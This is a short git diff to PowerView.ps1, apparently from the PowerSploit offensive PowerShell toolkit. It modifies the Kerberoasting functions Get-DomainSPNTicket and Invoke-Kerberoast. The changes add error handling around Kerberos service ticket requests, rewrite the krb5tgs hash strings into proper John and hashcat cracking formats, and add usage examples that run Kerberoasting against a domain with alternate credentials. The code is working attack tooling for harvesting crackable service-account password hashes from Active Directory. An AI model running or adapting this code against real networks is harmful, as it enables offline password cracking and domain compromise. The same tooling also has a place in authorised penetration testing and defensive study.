diff options
Diffstat (limited to 'Recon/PowerView.ps1')
| -rwxr-xr-x | Recon/PowerView.ps1 | 24 |
1 files changed, 19 insertions, 5 deletions
diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 5598dbe..5e08807 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -2305,7 +2305,12 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and $UserSPN = $UserSPN[0] } - $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + try { + $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + } + catch { + Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName'" + } if ($Ticket) { $TicketByteStream = $Ticket.GetRequest() } @@ -2322,11 +2327,13 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName if ($OutputFormat -match 'John') { - $HashFormat = "`$krb5tgs`$unknown:$Hash" + $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" } else { + $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + # hashcat output format - $HashFormat = '$krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=asdsa,DC=pf,DC=fakedomain,DC=com SPN: E0518235-4B06-11D1-AB04-00C04FDS3CD2-BADM/aksjdb.asdsa.pf.fakedomain.com:50000 *' + $Hash + $HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" } $Out | Add-Member Noteproperty 'Hash' $HashFormat $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') @@ -2413,15 +2420,22 @@ for connection to the target domain. Invoke-Kerberoast | fl +Kerberoasts all found SPNs for the current domain. + .EXAMPLE -Invoke-Kerberoast -Domain dev.testlab.local | fl +Invoke-Kerberoast -Domain dev.testlab.local -OutputFormat HashCat | fl + +Kerberoasts all found SPNs for the testlab.local domain, outputting to HashCat +format instead of John (the default). .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce $Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword) -Invoke-Kerberoast -Credential $Cred -Verbose | fl +Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl + +Kerberoasts all found SPNs for the testlab.local domain using alternate credentials. .OUTPUTS |